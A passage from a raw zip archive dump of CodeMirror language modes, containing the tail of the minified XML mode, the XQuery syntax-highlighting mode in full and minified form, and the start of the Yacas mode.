a.eat("!")?a.eat("[")?a.match("CDATA[")?c(i("atom","]]>")):null:a.match("--")?c(i("comment","--\x3e")):a.match("DOCTYPE",!0,!0)?(a.eatWhile(/[\w\._\-]/),c(j(1))):null:a.eat("?")?(a.eatWhile(/[\w\._\-]/),b.tokenize=i("meta","?>"),"meta"):(A=a.eat("/")?"closeTag":"openTag",b.tokenize=g,"tag
bracket");if("&"==d){var e;return
e=a.eat("#")?a.eat("x")?a.eatWhile(/[a-fA-F\d]/)&&a.eat(";"):a.eatWhile(/[\d]/)&&a.eat(";"):a.eatWhile(/[\w\.\-:]/)&&a.eat(";"),e?"atom":"error"}return
a.eatWhile(/[^&<]/),null}function g(a,b){var
c=a.next();if(">"==c||"/"==c&&a.eat(">"))return
b.tokenize=f,A=">"==c?"endTag":"selfcloseTag","tag
bracket";if("="==c)return
A="equals",null;if("<"==c){b.tokenize=f,b.state=n,b.tagName=b.tagStart=null;var
d=b.tokenize(a,b);return d?d+" tag error":"tag
error"}return/[\'\"]/.test(c)?(b.tokenize=h(c),b.stringStartCol=a.column(),b.tokenize(a,b)):(a.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/),"word")}function
h(a){var
b=function(b,c){for(;!b.eol();)if(b.next()==a){c.tokenize=g;break}return"string"};return
b.isInAttribute=!0,b}function i(a,b){return
function(c,d){for(;!c.eol();){if(c.match(b)){d.tokenize=f;break}c.next()}return
a}}function j(a){return function(b,c){for(var
d;null!=(d=b.next());){if("<"==d)return
c.tokenize=j(a+1),c.tokenize(b,c);if(">"==d){if(1==a){c.tokenize=f;break}return
c.tokenize=j(a-1),c.tokenize(b,c)}}return"meta"}}function
k(a,b,c){this.prev=a.context,this.tagName=b,this.indent=a.indented,this.startOfLine=c,(x.doNotIndent.hasOwnProperty(b)||a.context&&a.context.noIndent)&&(this.noIndent=!0)}function
l(a){a.context&&(a.context=a.context.prev)}function m(a,b){for(var
c;;){if(!a.context)return;if(c=a.context.tagName,!x.contextGrabbers.hasOwnProperty(c)||!x.contextGrabbers[c].hasOwnProperty(b))return;l(a)}}function
n(a,b,c){return"openTag"==a?(c.tagStart=b.column(),o):"closeTag"==a?p:n}function
o(a,b,c){return"word"==a?(c.tagName=b.current(),B="tag",s):x.allowMissingTagName&&"endTag"==a?(B="tag
bracket",s(a,b,c)):(B="error",o)}function
p(a,b,c){if("word"==a){var d=b.current();return
c.context&&c.context.tagName!=d&&x.implicitlyClosed.hasOwnProperty(c.context.tagName)&&l(c),c.context&&c.context.tagName==d||!1===x.matchClosing?(B="tag",q):(B="tag
error",r)}return
x.allowMissingTagName&&"endTag"==a?(B="tag
bracket",q(a,b,c)):(B="error",r)}function
q(a,b,c){return"endTag"!=a?(B="error",q):(l(c),n)}function
r(a,b,c){return B="error",q(a,b,c)}function
s(a,b,c){if("word"==a)return
B="attribute",t;if("endTag"==a||"selfcloseTag"==a){var
d=c.tagName,e=c.tagStart;return
c.tagName=c.tagStart=null,"selfcloseTag"==a||x.autoSelfClosers.hasOwnProperty(d)?m(c,d):(m(c,d),c.context=new
k(c,d,e==c.indented)),n}return B="error",s}function
t(a,b,c){return"equals"==a?u:(x.allowMissing||(B="error"),s(a,b,c))}function
u(a,b,c){return"string"==a?v:"word"==a&&x.allowUnquoted?(B="string",s):(B="error",s(a,b,c))}function
v(a,b,c){return"string"==a?v:s(a,b,c)}var
w=d.indentUnit,x={},y=e.htmlMode?b:c;for(var z in y)x[z]=y[z];for(var z in
e)x[z]=e[z];var A,B;return f.isInText=!0,{startState:function(a){var
b={tokenize:f,state:n,indented:a||0,tagName:null,tagStart:null,context:null};return
null!=a&&(b.baseIndent=a),b},token:function(a,b){if(!b.tagName&&a.sol()&&(b.indented=a.indentation()),a.eatSpace())return
null;A=null;var
c=b.tokenize(a,b);return(c||A)&&"comment"!=c&&(B=null,b.state=b.state(A||c,a,b),B&&(c="error"==B?c+"
error":B)),c},indent:function(b,c,d){var
e=b.context;if(b.tokenize.isInAttribute)return
b.tagStart==b.indented?b.stringStartCol+1:b.indented+w;if(e&&e.noIndent)return
a.Pass;if(b.tokenize!=g&&b.tokenize!=f)return
d?d.match(/^(\s*)/)[0].length:0;if(b.tagName)return!1!==x.multilineTagIndentPastTag?b.tagStart+b.tagName.length+2:b.tagStart+w*(x.multilineTagIndentFactor||1);if(x.alignCDATA&&/<!\[CDATA\[/.test(c))return
0;var
h=c&&/^<(\/)?([\w_:\.-]*)/.exec(c);if(h&&h[1])for(;e;){if(e.tagName==h[2]){e=e.prev;break}if(!x.implicitlyClosed.hasOwnProperty(e.tagName))break;e=e.prev}else
if(h)for(;e;){var
i=x.contextGrabbers[e.tagName];if(!i||!i.hasOwnProperty(h[2]))break;e=e.prev}for(;e&&e.prev&&!e.startOfLine;)e=e.prev;return
e?e.indent+w:b.baseIndent||0},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"\x3c!--",blockCommentEnd:"--\x3e",configuration:x.htmlMode?"html":"xml",helperType:x.htmlMode?"html":"xml",skipAttribute:function(a){a.state==u&&(a.state=s)},xmlCurrentTag:function(a){return
a.tagName?{name:a.tagName,close:"closeTag"==a.type}:null},xmlCurrentContext:function(a){for(var
b=[],c=a.context;c;c=c.prev)c.tagName&&b.push(c.tagName);return
b.reverse()}}})),a.defineMIME("text/xml","xml"),a.defineMIME("application/xml","xml"),a.mimeModes.hasOwnProperty("text/html")||a.defineMIME("text/html",{name:"xml",htmlMode:!0})}));PKP��[/\ỏ=�=
codemirror/mode/xquery/xquery.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("xquery", function() {

  // The keywords object is set to the result of this self executing
  // function. Each keyword is a property of the keywords object whose
  // value is {type: atype, style: astyle}
  var keywords = function(){
    // convenience functions used to build keywords object
    function kw(type) {return {type: type, style: "keyword"};}
    var operator = kw("operator")
      , atom = {type: "atom", style: "atom"}
      , punctuation = {type: "punctuation", style: null}
      , qualifier = {type: "axis_specifier", style:
"qualifier"};

    // kwObj is what is return from this function at the end
    var kwObj = {
      ',': punctuation
    };

    // a list of 'basic' keywords. For each add a property to
kwObj with the value of
    // {type: basic[i], style: "keyword"} e.g. 'after'
--> {type: "after", style: "keyword"}
    var basic = ['after', 'all', 'allowing',
'ancestor', 'ancestor-or-self', 'any',
'array', 'as',
    'ascending', 'at', 'attribute',
'base-uri', 'before', 'boundary-space',
'by', 'case', 'cast',
    'castable', 'catch', 'child',
'collation', 'comment', 'construction',
'contains', 'content',
    'context', 'copy', 'copy-namespaces',
'count', 'decimal-format', 'declare',
'default', 'delete',
    'descendant', 'descendant-or-self',
'descending', 'diacritics', 'different',
'distance',
    'document', 'document-node', 'element',
'else', 'empty', 'empty-sequence',
'encoding', 'end',
    'entire', 'every', 'exactly',
'except', 'external', 'first',
'following', 'following-sibling',
    'for', 'from', 'ftand',
'ftnot', 'ft-option', 'ftor',
'function', 'fuzzy', 'greatest',
'group',
    'if', 'import', 'in',
'inherit', 'insensitive', 'insert',
'instance', 'intersect', 'into',
    'invoke', 'is', 'item',
'language', 'last', 'lax', 'least',
'let', 'levels', 'lowercase',
'map',
    'modify', 'module', 'most',
'namespace', 'next', 'no', 'node',
'nodes', 'no-inherit',
    'no-preserve', 'not', 'occurs',
'of', 'only', 'option', 'order',
'ordered', 'ordering',
    'paragraph', 'paragraphs', 'parent',
'phrase', 'preceding', 'preceding-sibling',
'preserve',
    'previous', 'processing-instruction',
'relationship', 'rename', 'replace',
'return',
    'revalidation', 'same', 'satisfies',
'schema', 'schema-attribute',
'schema-element', 'score',
    'self', 'sensitive', 'sentence',
'sentences', 'sequence', 'skip',
'sliding', 'some', 'stable',
    'start', 'stemming', 'stop',
'strict', 'strip', 'switch',
'text', 'then', 'thesaurus',
'times',
    'to', 'transform', 'treat',
'try', 'tumbling', 'type',
'typeswitch', 'union', 'unordered',
    'update', 'updating', 'uppercase',
'using', 'validate', 'value',
'variable', 'version',
    'weight', 'when', 'where',
'wildcards', 'window', 'with',
'without', 'word', 'words',
'xquery'];
    for(var i=0, l=basic.length; i < l; i++) { kwObj[basic[i]] =
kw(basic[i]);};

    // a list of types. For each add a property to kwObj with the value of
    // {type: "atom", style: "atom"}
    var types = ['xs:anyAtomicType',
'xs:anySimpleType', 'xs:anyType',
'xs:anyURI',
    'xs:base64Binary', 'xs:boolean',
'xs:byte', 'xs:date', 'xs:dateTime',
'xs:dateTimeStamp',
    'xs:dayTimeDuration', 'xs:decimal',
'xs:double', 'xs:duration', 'xs:ENTITIES',
'xs:ENTITY',
    'xs:float', 'xs:gDay', 'xs:gMonth',
'xs:gMonthDay', 'xs:gYear', 'xs:gYearMonth',
'xs:hexBinary',
    'xs:ID', 'xs:IDREF', 'xs:IDREFS',
'xs:int', 'xs:integer', 'xs:item',
'xs:java', 'xs:language',
    'xs:long', 'xs:Name', 'xs:NCName',
'xs:negativeInteger', 'xs:NMTOKEN',
'xs:NMTOKENS',
    'xs:nonNegativeInteger', 'xs:nonPositiveInteger',
'xs:normalizedString', 'xs:NOTATION',
    'xs:numeric', 'xs:positiveInteger',
'xs:precisionDecimal', 'xs:QName',
'xs:short', 'xs:string',
    'xs:time', 'xs:token', 'xs:unsignedByte',
'xs:unsignedInt', 'xs:unsignedLong',
    'xs:unsignedShort', 'xs:untyped',
'xs:untypedAtomic', 'xs:yearMonthDuration'];
    for(var i=0, l=types.length; i < l; i++) { kwObj[types[i]] = atom;};

    // each operator will add a property to kwObj with value of {type:
"operator", style: "keyword"}
    var operators = ['eq', 'ne', 'lt',
'le', 'gt', 'ge', ':=',
'=', '>', '>=', '<',
'<=', '.', '|', '?',
'and', 'or', 'div', 'idiv',
'mod', '*', '/', '+',
'-'];
    for(var i=0, l=operators.length; i < l; i++) { kwObj[operators[i]] =
operator;};

    // each axis_specifiers will add a property to kwObj with value of
{type: "axis_specifier", style: "qualifier"}
    var axis_specifiers = ["self::", "attribute::",
"child::", "descendant::",
"descendant-or-self::", "parent::",
    "ancestor::", "ancestor-or-self::",
"following::", "preceding::",
"following-sibling::", "preceding-sibling::"];
    for(var i=0, l=axis_specifiers.length; i < l; i++) {
kwObj[axis_specifiers[i]] = qualifier; };

    return kwObj;
  }();

  function chain(stream, state, f) {
    state.tokenize = f;
    return f(stream, state);
  }

  // the primary mode tokenizer
  function tokenBase(stream, state) {
    var ch = stream.next(),
        mightBeFunction = false,
        isEQName = isEQNameAhead(stream);

    // an XML tag (if not in some sub, chained tokenizer)
    if (ch == "<") {
      if(stream.match("!--", true))
        return chain(stream, state, tokenXMLComment);

      if(stream.match("![CDATA", false)) {
        state.tokenize = tokenCDATA;
        return "tag";
      }

      if(stream.match("?", false)) {
        return chain(stream, state, tokenPreProcessing);
      }

      var isclose = stream.eat("/");
      stream.eatSpace();
      var tagName = "", c;
      while ((c = stream.eat(/[^\s\u00a0=<>\"\'\/?]/)))
tagName += c;

      return chain(stream, state, tokenTag(tagName, isclose));
    }
    // start code block
    else if(ch == "{") {
      pushStateStack(state, { type: "codeblock"});
      return null;
    }
    // end code block
    else if(ch == "}") {
      popStateStack(state);
      return null;
    }
    // if we're in an XML block
    else if(isInXmlBlock(state)) {
      if(ch == ">")
        return "tag";
      else if(ch == "/" && stream.eat(">"))
{
        popStateStack(state);
        return "tag";
      }
      else
        return "variable";
    }
    // if a number
    else if (/\d/.test(ch)) {
      stream.match(/^\d*(?:\.\d*)?(?:E[+\-]?\d+)?/);
      return "atom";
    }
    // comment start
    else if (ch === "(" && stream.eat(":")) {
      pushStateStack(state, { type: "comment"});
      return chain(stream, state, tokenComment);
    }
    // quoted string
    else if (!isEQName && (ch === '"' || ch ===
"'"))
      return chain(stream, state, tokenString(ch));
    // variable
    else if(ch === "$") {
      return chain(stream, state, tokenVariable);
    }
    // assignment
    else if(ch ===":" && stream.eat("=")) {
      return "keyword";
    }
    // open paren
    else if(ch === "(") {
      pushStateStack(state, { type: "paren"});
      return null;
    }
    // close paren
    else if(ch === ")") {
      popStateStack(state);
      return null;
    }
    // open paren
    else if(ch === "[") {
      pushStateStack(state, { type: "bracket"});
      return null;
    }
    // close paren
    else if(ch === "]") {
      popStateStack(state);
      return null;
    }
    else {
      var known = keywords.propertyIsEnumerable(ch) &&
keywords[ch];

      // if there's a EQName ahead, consume the rest of the string
portion, it's likely a function
      if(isEQName && ch === '\"')
while(stream.next() !== '"'){}
      if(isEQName && ch === '\'')
while(stream.next() !== '\''){}

      // gobble up a word if the character is not known
      if(!known) stream.eatWhile(/[\w\$_-]/);

      // gobble a colon in the case that is a lib func type call fn:doc
      var foundColon = stream.eat(":");

      // if there's not a second colon, gobble another word.
Otherwise, it's probably an axis specifier
      // which should get matched as a keyword
      if(!stream.eat(":") && foundColon) {
        stream.eatWhile(/[\w\$_-]/);
      }
      // if the next non whitespace character is an open paren, this is
probably a function (if not a keyword of other sort)
      if(stream.match(/^[ \t]*\(/, false)) {
        mightBeFunction = true;
      }
      // is the word a keyword?
      var word = stream.current();
      known = keywords.propertyIsEnumerable(word) &&
keywords[word];

      // if we think it's a function call but not yet known,
      // set style to variable for now for lack of something better
      if(mightBeFunction && !known) known = {type:
"function_call", style: "variable def"};

      // if the previous word was element, attribute, axis specifier, this
word should be the name of that
      if(isInXmlConstructor(state)) {
        popStateStack(state);
        return "variable";
      }
      // as previously checked, if the word is element,attribute, axis
specifier, call it an "xmlconstructor" and
      // push the stack so we know to look for it on the next word
      if(word == "element" || word == "attribute" ||
known.type == "axis_specifier") pushStateStack(state, {type:
"xmlconstructor"});

      // if the word is known, return the details of that else just call
this a generic 'word'
      return known ? known.style : "variable";
    }
  }

  // handle comments, including nested
  function tokenComment(stream, state) {
    var maybeEnd = false, maybeNested = false, nestedCount = 0, ch;
    while (ch = stream.next()) {
      if (ch == ")" && maybeEnd) {
        if(nestedCount > 0)
          nestedCount--;
        else {
          popStateStack(state);
          break;
        }
      }
      else if(ch == ":" && maybeNested) {
        nestedCount++;
      }
      maybeEnd = (ch == ":");
      maybeNested = (ch == "(");
    }

    return "comment";
  }

  // tokenizer for string literals
  // optionally pass a tokenizer function to set state.tokenize back to
when finished
  function tokenString(quote, f) {
    return function(stream, state) {
      var ch;

      if(isInString(state) && stream.current() == quote) {
        popStateStack(state);
        if(f) state.tokenize = f;
        return "string";
      }

      pushStateStack(state, { type: "string", name: quote,
tokenize: tokenString(quote, f) });

      // if we're in a string and in an XML block, allow an embedded
code block
      if(stream.match("{", false) &&
isInXmlAttributeBlock(state)) {
        state.tokenize = tokenBase;
        return "string";
      }


      while (ch = stream.next()) {
        if (ch ==  quote) {
          popStateStack(state);
          if(f) state.tokenize = f;
          break;
        }
        else {
          // if we're in a string and in an XML block, allow an
embedded code block in an attribute
          if(stream.match("{", false) &&
isInXmlAttributeBlock(state)) {
            state.tokenize = tokenBase;
            return "string";
          }

        }
      }

      return "string";
    };
  }

  // tokenizer for variables
  function tokenVariable(stream, state) {
    var isVariableChar = /[\w\$_-]/;

    // a variable may start with a quoted EQName so if the next character
is quote, consume to the next quote
    if(stream.eat("\"")) {
      while(stream.next() !== '\"'){};
      stream.eat(":");
    } else {
      stream.eatWhile(isVariableChar);
      if(!stream.match(":=", false)) stream.eat(":");
    }
    stream.eatWhile(isVariableChar);
    state.tokenize = tokenBase;
    return "variable";
  }

  // tokenizer for XML tags
  function tokenTag(name, isclose) {
    return function(stream, state) {
      stream.eatSpace();
      if(isclose && stream.eat(">")) {
        popStateStack(state);
        state.tokenize = tokenBase;
        return "tag";
      }
      // self closing tag without attributes?
      if(!stream.eat("/"))
        pushStateStack(state, { type: "tag", name: name,
tokenize: tokenBase});
      if(!stream.eat(">")) {
        state.tokenize = tokenAttribute;
        return "tag";
      }
      else {
        state.tokenize = tokenBase;
      }
      return "tag";
    };
  }

  // tokenizer for XML attributes
  function tokenAttribute(stream, state) {
    var ch = stream.next();

    if(ch == "/" && stream.eat(">")) {
      if(isInXmlAttributeBlock(state)) popStateStack(state);
      if(isInXmlBlock(state)) popStateStack(state);
      return "tag";
    }
    if(ch == ">") {
      if(isInXmlAttributeBlock(state)) popStateStack(state);
      return "tag";
    }
    if(ch == "=")
      return null;
    // quoted string
    if (ch == '"' || ch == "'")
      return chain(stream, state, tokenString(ch, tokenAttribute));

    if(!isInXmlAttributeBlock(state))
      pushStateStack(state, { type: "attribute", tokenize:
tokenAttribute});

    stream.eat(/[a-zA-Z_:]/);
    stream.eatWhile(/[-a-zA-Z0-9_:.]/);
    stream.eatSpace();

    // the case where the attribute has not value and the tag was closed
    if(stream.match(">", false) || stream.match("/",
false)) {
      popStateStack(state);
      state.tokenize = tokenBase;
    }

    return "attribute";
  }

  // handle comments, including nested
  function tokenXMLComment(stream, state) {
    var ch;
    while (ch = stream.next()) {
      if (ch == "-" && stream.match("->",
true)) {
        state.tokenize = tokenBase;
        return "comment";
      }
    }
  }


  // handle CDATA
  function tokenCDATA(stream, state) {
    var ch;
    while (ch = stream.next()) {
      if (ch == "]" && stream.match("]", true))
{
        state.tokenize = tokenBase;
        return "comment";
      }
    }
  }

  // handle preprocessing instructions
  function tokenPreProcessing(stream, state) {
    var ch;
    while (ch = stream.next()) {
      if (ch == "?" && stream.match(">",
true)) {
        state.tokenize = tokenBase;
        return "comment meta";
      }
    }
  }


  // functions to test the current context of the state
  function isInXmlBlock(state) { return isIn(state, "tag"); }
  function isInXmlAttributeBlock(state) { return isIn(state,
"attribute"); }
  function isInXmlConstructor(state) { return isIn(state,
"xmlconstructor"); }
  function isInString(state) { return isIn(state, "string"); }

  function isEQNameAhead(stream) {
    // assume we've already eaten a quote (")
    if(stream.current() === '"')
      return stream.match(/^[^\"]+\"\:/, false);
    else if(stream.current() === '\'')
      return stream.match(/^[^\"]+\'\:/, false);
    else
      return false;
  }

  function isIn(state, type) {
    return (state.stack.length && state.stack[state.stack.length -
1].type == type);
  }

  function pushStateStack(state, newState) {
    state.stack.push(newState);
  }

  function popStateStack(state) {
    state.stack.pop();
    var reinstateTokenize = state.stack.length &&
state.stack[state.stack.length-1].tokenize;
    state.tokenize = reinstateTokenize || tokenBase;
  }

  // the interface for the mode API
  return {
    startState: function() {
      return {
        tokenize: tokenBase,
        cc: [],
        stack: []
      };
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);
      return style;
    },

    blockCommentStart: "(:",
    blockCommentEnd: ":)"

  };

});

CodeMirror.defineMIME("application/xquery", "xquery");

});
PKP��[�,��$codemirror/mode/xquery/xquery.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("xquery",(function(){function
a(a,b,c){return b.tokenize=c,c(a,b)}function b(b,g){var
l=b.next(),n=!1,p=o(b);if("<"==l){if(b.match("!--",!0))return
a(b,g,h);if(b.match("![CDATA",!1))return
g.tokenize=i,"tag";if(b.match("?",!1))return
a(b,g,j);var t=b.eat("/");b.eatSpace();for(var
u,v="";u=b.eat(/[^\s\u00a0=<>\"\'\/?]/);)v+=u;return
a(b,g,f(v,t))}if("{"==l)return
q(g,{type:"codeblock"}),null;if("}"==l)return
r(g),null;if(k(g))return">"==l?"tag":"/"==l&&b.eat(">")?(r(g),"tag"):"variable";if(/\d/.test(l))return
b.match(/^\d*(?:\.\d*)?(?:E[+\-]?\d+)?/),"atom";if("("===l&&b.eat(":"))return
q(g,{type:"comment"}),a(b,g,c);if(p||'"'!==l&&"'"!==l){if("$"===l)return
a(b,g,e);if(":"===l&&b.eat("="))return"keyword";if("("===l)return
q(g,{type:"paren"}),null;if(")"===l)return
r(g),null;if("["===l)return
q(g,{type:"bracket"}),null;if("]"===l)return
r(g),null;var
w=s.propertyIsEnumerable(l)&&s[l];if(p&&'"'===l)for(;'"'!==b.next(););if(p&&"'"===l)for(;"'"!==b.next(););w||b.eatWhile(/[\w\$_-]/);var
x=b.eat(":");!b.eat(":")&&x&&b.eatWhile(/[\w\$_-]/),b.match(/^[
\t]*\(/,!1)&&(n=!0);var y=b.current();return
w=s.propertyIsEnumerable(y)&&s[y],n&&!w&&(w={type:"function_call",style:"variable
def"}),m(g)?(r(g),"variable"):("element"!=y&&"attribute"!=y&&"axis_specifier"!=w.type||q(g,{type:"xmlconstructor"}),w?w.style:"variable")}return
a(b,g,d(l))}function c(a,b){for(var
c,d=!1,e=!1,f=0;c=a.next();){if(")"==c&&d){if(!(f>0)){r(b);break}f--}else":"==c&&e&&f++;d=":"==c,e="("==c}return"comment"}function
d(a,c){return function(e,f){var g;if(n(f)&&e.current()==a)return
r(f),c&&(f.tokenize=c),"string";if(q(f,{type:"string",name:a,tokenize:d(a,c)}),e.match("{",!1)&&l(f))return
f.tokenize=b,"string";for(;g=e.next();){if(g==a){r(f),c&&(f.tokenize=c);break}if(e.match("{",!1)&&l(f))return
f.tokenize=b,"string"}return"string"}}function
e(a,c){var
d=/[\w\$_-]/;if(a.eat('"')){for(;'"'!==a.next(););a.eat(":")}else
a.eatWhile(d),a.match(":=",!1)||a.eat(":");return
a.eatWhile(d),c.tokenize=b,"variable"}function f(a,c){return
function(d,e){return
d.eatSpace(),c&&d.eat(">")?(r(e),e.tokenize=b,"tag"):(d.eat("/")||q(e,{type:"tag",name:a,tokenize:b}),d.eat(">")?(e.tokenize=b,"tag"):(e.tokenize=g,"tag"))}}function
g(c,e){var
f=c.next();return"/"==f&&c.eat(">")?(l(e)&&r(e),k(e)&&r(e),"tag"):">"==f?(l(e)&&r(e),"tag"):"="==f?null:'"'==f||"'"==f?a(c,e,d(f,g)):(l(e)||q(e,{type:"attribute",tokenize:g}),c.eat(/[a-zA-Z_:]/),c.eatWhile(/[-a-zA-Z0-9_:.]/),c.eatSpace(),(c.match(">",!1)||c.match("/",!1))&&(r(e),e.tokenize=b),"attribute")}function
h(a,c){for(var
d;d=a.next();)if("-"==d&&a.match("->",!0))return
c.tokenize=b,"comment"}function i(a,c){for(var
d;d=a.next();)if("]"==d&&a.match("]",!0))return
c.tokenize=b,"comment"}function j(a,c){for(var
d;d=a.next();)if("?"==d&&a.match(">",!0))return
c.tokenize=b,"comment meta"}function k(a){return
p(a,"tag")}function l(a){return
p(a,"attribute")}function m(a){return
p(a,"xmlconstructor")}function n(a){return
p(a,"string")}function
o(a){return'"'===a.current()?a.match(/^[^\"]+\"\:/,!1):"'"===a.current()&&a.match(/^[^\"]+\'\:/,!1)}function
p(a,b){return
a.stack.length&&a.stack[a.stack.length-1].type==b}function
q(a,b){a.stack.push(b)}function r(a){a.stack.pop();var
c=a.stack.length&&a.stack[a.stack.length-1].tokenize;a.tokenize=c||b}var
s=(function(){function
a(a){return{type:a,style:"keyword"}}for(var
b=a("operator"),c={type:"atom",style:"atom"},d={type:"punctuation",style:null},e={type:"axis_specifier",style:"qualifier"},f={",":d},g=["after","all","allowing","ancestor","ancestor-or-self","any","array","as","ascending","at","attribute","base-uri","before","boundary-space","by","case","cast","castable","catch","child","collation","comment","construction","contains","content","context","copy","copy-namespaces","count","decimal-format","declare","default","delete","descendant","descendant-or-self","descending","diacritics","different","distance","document","document-node","element","else","empty","empty-sequence","encoding","end","entire","every","exactly","except","external","first","following","following-sibling","for","from","ftand","ftnot","ft-option","ftor","function","fuzzy","greatest","group","if","import","in","inherit","insensitive","insert","instance","intersect","into","invoke","is","item","language","last","lax","least","let","levels","lowercase","map","modify","module","most","namespace","next","no","node","nodes","no-inherit","no-preserve","not","occurs","of","only","option","order","ordered","ordering","paragraph","paragraphs","parent","phrase","preceding","preceding-sibling","preserve","previous","processing-instruction","relationship","rename","replace","return","revalidation","same","satisfies","schema","schema-attribute","schema-element","score","self","sensitive","sentence","sentences","sequence","skip","sliding","some","stable","start","stemming","stop","strict","strip","switch","text","then","thesaurus","times","to","transform","treat","try","tumbling","type","typeswitch","union","unordered","update","updating","uppercase","using","validate","value","variable","version","weight","when","where","wildcards","window","with","without","word","words","xquery"],h=0,i=g.length;h<i;h++)f[g[h]]=a(g[h]);for(var
j=["xs:anyAtomicType","xs:anySimpleType","xs:anyType","xs:anyURI","xs:base64Binary","xs:boolean","xs:byte","xs:date","xs:dateTime","xs:dateTimeStamp","xs:dayTimeDuration","xs:decimal","xs:double","xs:duration","xs:ENTITIES","xs:ENTITY","xs:float","xs:gDay","xs:gMonth","xs:gMonthDay","xs:gYear","xs:gYearMonth","xs:hexBinary","xs:ID","xs:IDREF","xs:IDREFS","xs:int","xs:integer","xs:item","xs:java","xs:language","xs:long","xs:Name","xs:NCName","xs:negativeInteger","xs:NMTOKEN","xs:NMTOKENS","xs:nonNegativeInteger","xs:nonPositiveInteger","xs:normalizedString","xs:NOTATION","xs:numeric","xs:positiveInteger","xs:precisionDecimal","xs:QName","xs:short","xs:string","xs:time","xs:token","xs:unsignedByte","xs:unsignedInt","xs:unsignedLong","xs:unsignedShort","xs:untyped","xs:untypedAtomic","xs:yearMonthDuration"],h=0,i=j.length;h<i;h++)f[j[h]]=c;for(var
k=["eq","ne","lt","le","gt","ge",":=","=",">",">=","<","<=",".","|","?","and","or","div","idiv","mod","*","/","+","-"],h=0,i=k.length;h<i;h++)f[k[h]]=b;for(var
l=["self::","attribute::","child::","descendant::","descendant-or-self::","parent::","ancestor::","ancestor-or-self::","following::","preceding::","following-sibling::","preceding-sibling::"],h=0,i=l.length;h<i;h++)f[l[h]]=e;return
f})();return{startState:function(){return{tokenize:b,cc:[],stack:[]}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)},blockCommentStart:"(:",blockCommentEnd:":)"}})),a.defineMIME("application/xquery","xquery")}));PKP��[��33codemirror/mode/yacas/yacas.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Yacas mode copyright (c) 2015 by Grzegorz Mazur
// Loosely based on mathematica mode by Calin Barbat

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('yacas', function(_config, _parserConfig) {

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  var bodiedOps = words("Assert BackQuote D Defun Deriv For ForEach
FromFile " +
                        "FromString Function Integrate InverseTaylor
Limit " +
                        "LocalSymbols Macro MacroRule MacroRulePattern
" +
                        "NIntegrate Rule RulePattern Subst TD
TExplicitSum " +
                        "TSum Taylor Taylor1 Taylor2 Taylor3 ToFile
" +
                        "ToStdout ToString TraceRule Until
While");

  // patterns
  var pFloatForm  =
"(?:(?:\\.\\d+|\\d+\\.\\d*|\\d+)(?:[eE][+-]?\\d+)?)";
  var pIdentifier = "(?:[a-zA-Z\\$'][a-zA-Z0-9\\$']*)";

  // regular expressions
  var reFloatForm    = new RegExp(pFloatForm);
  var reIdentifier   = new RegExp(pIdentifier);
  var rePattern      = new RegExp(pIdentifier + "?_" +
pIdentifier);
  var reFunctionLike = new RegExp(pIdentifier + "\\s*\\(");

  function tokenBase(stream, state) {
    var ch;

    // get next character
    ch = stream.next();

    // string
    if (ch === '"') {
      state.tokenize = tokenString;
      return state.tokenize(stream, state);
    }

    // comment
    if (ch === '/') {
      if (stream.eat('*')) {
        state.tokenize = tokenComment;
        return state.tokenize(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
    }

    // go back one character
    stream.backUp(1);

    // update scope info
    var m = stream.match(/^(\w+)\s*\(/, false);
    if (m !== null && bodiedOps.hasOwnProperty(m[1]))
      state.scopes.push('bodied');

    var scope = currentScope(state);

    if (scope === 'bodied' && ch === '[')
      state.scopes.pop();

    if (ch === '[' || ch === '{' || ch ===
'(')
      state.scopes.push(ch);

    scope = currentScope(state);

    if (scope === '[' && ch === ']' ||
        scope === '{' && ch === '}' ||
        scope === '(' && ch === ')')
      state.scopes.pop();

    if (ch === ';') {
      while (scope === 'bodied') {
        state.scopes.pop();
        scope = currentScope(state);
      }
    }

    // look for ordered rules
    if (stream.match(/\d+ *#/, true, false)) {
      return 'qualifier';
    }

    // look for numbers
    if (stream.match(reFloatForm, true, false)) {
      return 'number';
    }

    // look for placeholders
    if (stream.match(rePattern, true, false)) {
      return 'variable-3';
    }

    // match all braces separately
    if (stream.match(/(?:\[|\]|{|}|\(|\))/, true, false)) {
      return 'bracket';
    }

    // literals looking like function calls
    if (stream.match(reFunctionLike, true, false)) {
      stream.backUp(1);
      return 'variable';
    }

    // all other identifiers
    if (stream.match(reIdentifier, true, false)) {
      return 'variable-2';
    }

    // operators; note that operators like @@ or /; are matched separately
for each symbol.
    if
(stream.match(/(?:\\|\+|\-|\*|\/|,|;|\.|:|@|~|=|>|<|&|\||_|`|'|\^|\?|!|%|#)/,
true, false)) {
      return 'operator';
    }

    // everything else is an error
    return 'error';
  }

  function tokenString(stream, state) {
    var next, end = false, escaped = false;
    while ((next = stream.next()) != null) {
      if (next === '"' && !escaped) {
        end = true;
        break;
      }
      escaped = !escaped && next === '\\';
    }
    if (end && !escaped) {
      state.tokenize = tokenBase;
    }
    return 'string';
  };

  function tokenComment(stream, state) {
    var prev, next;
    while((next = stream.next()) != null) {
